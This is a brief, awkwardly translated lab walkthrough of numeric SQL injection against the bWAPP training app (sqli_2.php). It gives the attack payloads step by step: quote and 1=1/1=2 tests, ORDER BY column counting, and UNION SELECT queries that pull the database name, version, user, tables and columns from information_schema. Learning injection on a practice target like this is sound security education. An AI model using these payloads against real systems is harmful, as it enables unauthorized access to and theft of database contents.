1, first input single quotation marks to judge, the result is "Error:you" has an Error in your SQL syntax; Check the manual-corresponds to your MySQL server version for the right syntax-use-near ' in line 1 ', three single quotes, description single quote Redundant, should be digital injection that is integral injection, such as:
2, with "and 1=1" and "and 1=2" under the judgment, such as:
Two times the page is different, indicating there is an injection point, and the number of font injection.
3. Number of query fields:
Enter "movie=1 ORDER by 7" and "Movie=1 Order by 8", result 7 is normal, 8 error, the number of fields is 7, the result is as follows:
Enter "movie=-1 Union select 1,2,3,4,5,6,7" To view the display location, results
4, query database name and other information:
Enter "Movie=-1 Union select 1,database (), version (), 4,user (), 6,7", view database name, database version, current user, results
5. Query Table name:
Input "movie=-1 Union select 1,database (), version (), Table_name,user (), 6,7 from Information_schema.tables where Table_ Schema= ' Bwapp ', at this time only a blog table, the results such as:
6. Query Field Name:
Input "movie=-1 Union select 1,database (), version (), Column_name,user (), 6,7 from Information_schema.columns where Table_ Name= ' blog ', field only ID, results such as:
7, query the contents of the field:
Enter "Movie=-1 Union select 1,database (), version (), Id,user (), 6,7 from blog", Return no data. The key is this step and train of thought, result not too tangled.
The Bwapp of SQL injection sqli_2.php